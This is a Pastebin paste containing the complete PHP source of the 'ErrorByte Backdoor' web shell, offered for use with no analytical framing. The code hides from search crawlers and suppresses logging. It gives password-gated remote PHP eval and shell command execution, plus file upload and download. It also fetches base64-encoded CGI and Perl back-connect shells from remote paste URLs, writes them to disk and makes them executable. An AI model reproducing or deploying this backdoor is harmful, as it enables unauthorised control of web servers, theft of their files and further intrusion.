VanGans

PHP_Shell

Feb 10th, 2019
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.12 KB | None | 0 0
  1. <?php
  2. # Config Shell
  3. # Copyright © 2018 - ErrorByte - AnarchoXploit
  4. error_reporting(0);
  5. $password = 'ErrorByte';
  6. set_time_limit(0);
  7. @set_magic_quotes_runtime(0);
  8. @clearstatcache();
  9. @ini_set('error_log',NULL);
  10. @ini_set('log_errors',0);
  11. @ini_set('max_execution_time',0);
  12. @ini_set('output_buffering',0);
  13. @ini_set('display_errors', 0);
  14. $ds = @ini_get("disable_functions");
  15. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "NONE";
  16. ?>
  17. <?php
  18. session_start();
  19. $auth_pass = $password;
  20. $default_action = 'FilesMan';
  21. $default_use_ajax = true;
  22. $default_charset = 'UTF-8';
  23. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  24. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  25. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  26. header('HTTP/1.0 404 Not Found');
  27. exit;
  28. }
  29. }
  30. function login_shell() {
  31. ?>
  32. <?php
  33. echo '
  34. <html>
  35. <head>
  36. <title>ErrorByte Backdoor</title>
  37. <link rel="shortcut icon" type="image/x-icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  38. <style type="text/css">
  39. html {
  40. margin: 20px auto;
  41. background: #000000;
  42. color: white;
  43. text-align: center;
  44. }
  45. header {
  46. color: aqua;
  47. margin: 10px auto;
  48. }
  49. input[type=password] {
  50. color: red;
  51. background: transparent;
  52. border: 1px solid white;
  53. }
  54. input[type=submit] {
  55. color: white;
  56. background: transparent;
  57. border: 1px solid white;
  58. }
  59. </style>
  60. </head>
  61. <table height="100%" width="100%">
  62. <td align="center">
  63. <form action="'.$_SERVER['PHP_SELF'].'" enctype="multipart/form-data" method="post">
  64. <font size="5">ErrorByte Backdoor</font>
  65. <br><br><input type="password" name="pass">
  66. <input type="submit" value="Login !!!">
  67. </form>
  68. </td>
  69. </table>';
  70. ?>
  71. <?php
  72. exit;
  73. }
  74. if(!isset($_SESSION[$_SERVER['HTTP_HOST']]))
  75. if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
  76. $_SESSION[$_SERVER['HTTP_HOST']] = true;
  77. else
  78. login_shell();
  79. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  80. @ob_clean();
  81. $file = $_GET['file'];
  82. header('Content-Description: File Transfer');
  83. header('Content-Type: application/octet-stream');
  84. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  85. header('Expires: 0');
  86. header('Cache-Control: must-revalidate');
  87. header('Pragma: public');
  88. header('Content-Length: ' . filesize($file));
  89. readfile($file);
  90. exit;
  91. }
  92. ?>
  93. <?php
  94. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  95. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  96. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  97. header('HTTP/1.0 404 Not Found');
  98. exit;
  99. }
  100. }
  101. $dir = $_GET['d'];
  102. chdir($dir);
  103. $direktori = getcwd();
  104. if(isset($_GET['eval'])) {
  105. $cok = str_replace("'", '"', $_GET['eval']); echo eval($cok);
  106. echo "<br><br><a href='?'>Back Home</a>";
  107. exit;
  108. }
  109. ?>
  110. <title>ErrorByte Backdoor</title>
  111. <link rel="shortcut icon" type="image/x-icon" href="https://img.deusm.com/darkreading/bh-asia-facebook-profile.png">
  112. <style>
  113. html {
  114. background: black;
  115. color: white;
  116. }
  117. .hasilshell {
  118. border: 1px solid white;
  119. height: 200px;
  120. width: 100%;
  121. }
  122. input{
  123. border: 1px solid white;
  124. }
  125. a {
  126. color: red;
  127. text-decoration: none;
  128. }
  129. </style>
  130. <script src="http://code.jquery.com/jquery-2.2.1.min.js"></script>
  131. <style type="text/css">
  132. .preloader {
  133. background: transparent;
  134. position: fixed;
  135. top: 0;
  136. left: 0;
  137. width: 100%;
  138. height: 100%;
  139. z-index: 9999;
  140. background-color: transparent;
  141. }
  142. .preloader .loading {
  143. background: transparent;
  144. position: absolute;
  145. left: 50%;
  146. top: 50%;
  147. transform: translate(-50%,-50%);
  148. font: 14px arial;
  149. background-color: transparent;
  150. }
  151. </style>
  152. <div class="preloader">
  153. <div class="loading">
  154. <center><img height="200" src="https://i.screenshot.net/k4z06un"/><center>
  155. <br><br>
  156. <font size="5"><b><i>ErrorByte Backdoor</i></b></font>
  157. </div>
  158. </div>
  159. <script>
  160. $(document).ready(function(){
  161. $(".preloader").fadeOut();
  162. })
  163. </script>
  164. <script type="text/javascript">
  165. function evalp() {
  166. var evalphp = document.getElementById('evalphp').value;
  167. window.location = "?eval=" + evalphp;
  168. }
  169. </script>
  170. <hr>
  171. <center>
  172. <h1>ErrorByte Backdoor</h1>
  173. <hr>
  174. [ <a href="?">Home</a> ] [ <a href="?eval_php">Eval PHP</a> ] [ <a href="?cgi">CGI Telnet</a> ] [ <a href="?info">Info Server</a> ] [ <a href="?change">Change Password</a> ] [ <a href="?out">Logout</a> ]
  175. </center>
  176. <?php
  177. if(isset($_REQUEST['out'])) {
  178. unset($_SESSION[$_SERVER['HTTP_HOST']]);
  179. echo "<script>window.location='?';</script>";
  180. } elseif(isset($_REQUEST['info'])) {
  181. echo "<hr>";
  182. echo "Kernel : <font color='red'>".php_uname()."</font><br>
  183. Disable Function : $show_ds";
  184. exit;
  185. } elseif(isset($_REQUEST['eval_php'])) {
  186. echo "<hr>";
  187. echo '<textarea id="evalphp" class="hasilshell"></textarea><br><br>
  188. <input onclick="evalp();" type="submit" value="Go!"/>';
  189. exit;
  190. } elseif(isset($_REQUEST['change'])) {
  191. echo "<hr><form enctypr='multipart/post-data' method='post'>
  192. New Password : <input type='text' name='pass_baru' placeholder='$password'>
  193. <input type='submit' value='Change !'>
  194. </form>";
  195. if(isset($_POST['pass_baru'])){
  196. $self = $_SERVER['SCRIPT_FILENAME'];
  197. $proc = file($self);
  198. $replace = str_replace('$password = '."'".$password."'", '$password = '."'".$_POST['pass_baru']."'", $proc);
  199. $ganti = file_put_contents($self, $replace);
  200. if($ganti) {
  201. echo "Password Save As <font color='red'>".$_POST['pass_baru']."</font>";
  202. } else {
  203. echo 'Failed Change Password !!!';
  204. }
  205. }
  206. exit;
  207. } elseif(isset($_REQUEST['cgi'])) {
  208. echo '<hr>';
  209. chdir($direktori);
  210. mkdir('cgi', 0755);
  211. chdir('cgi');
  212. $kokdosya = ".htaccess";
  213. $dosya_adi = "$kokdosya";
  214. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  215. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  216. AddType application/x-httpd-cgi .cin
  217. AddHandler cgi-script .cin
  218. AddHandler cgi-script .cin";
  219. fwrite ( $dosya , $metin ) ;
  220. fclose ($dosya);
  221. $cgishellizocin = file_get_contents("https://pastebin.com/raw/0xVVQjZu");
  222. $file = fopen("izo.cin" ,"w+");
  223. $isi = str_replace("123456", $password , base64_decode($cgishellizocin));
  224. $write = fwrite ($file ,$isi);
  225. fclose($file);
  226. chmod("izo.cin",0755);
  227. $netcatshell = file_get_contents("https://pastebin.com/raw/6dQxUeUh");
  228. $file = fopen("dc.pl" ,"w+");
  229. $write = fwrite ($file ,base64_decode($netcatshell));
  230. fclose($file);
  231. chmod("dc.pl",0755);
  232. echo "<iframe src=cgi/izo.cin width=96% height=90% frameborder=0></iframe>
  233.  
  234. </div>";
  235. exit;
  236. }
  237. ?>
  238. <hr>
  239. <script type="text/javascript">
  240. function KeDirektori() {
  241. var direktori = document.getElementById('direktori').value;
  242. window.location = "?d=" + direktori;
  243. }
  244. </script>
  245. Path : <input id="direktori" type="text" value="<?php echo $direktori; ?>"/>
  246. <input onclick="KeDirektori();" type="submit" value="Go!"/>
  247. <hr>
  248. <form enctype="multipart/form-data" method="post">
  249. <input type="file" name="upd">
  250. <input type="submit" value="Upload!">
  251. </form>
  252. <?php
  253. if(isset($_FILES['upd'])) {
  254. if(copy($_FILES['upd']['tmp_name'],$_FILES['upd']['name'])) {
  255. echo $_FILES['upd']['name']." Uploaded !!!";
  256. } else {
  257. echo "Failed Upload ".$_FILES['upd']['name'];
  258. }
  259. }
  260. ?>
  261. <hr>
  262. PHP Execution Command : <?php echo (shell_exec('dir')) ? "ON" : "OFF"; ?>
  263. <hr>
  264. <form enctype="multipart/form-data" method="post">
  265. ErrorByte@<?php echo $_SERVER['HTTP_HOST']; ?>:~ $
  266. <input type="text" name="shell">
  267. <input type="submit" value="!">
  268. </form>
  269. <hr>
  270. <textarea class="hasilshell">
  271. <?php
  272. if(isset($_POST['shell'])) {
  273. echo shell_exec($_POST['shell']);
  274. }
  275. ?>
  276. </textarea>
  277. <hr>
  278. File And Directory<br>
  279. <hr>
  280. <textarea class="hasilshell">
  281. <?php
  282. if(shell_exec('dir -l')) {
  283. echo shell_exec('dir -l');
  284. } else {
  285. echo "[ Execute Error ]";
  286. }
  287. ?>
  288. </textarea>
  289. <hr>
  290. <center>Copyleft &copy;2018 - ErrorByte
  291. <hr>
Advertisement
Add Comment
Please, Sign In to add comment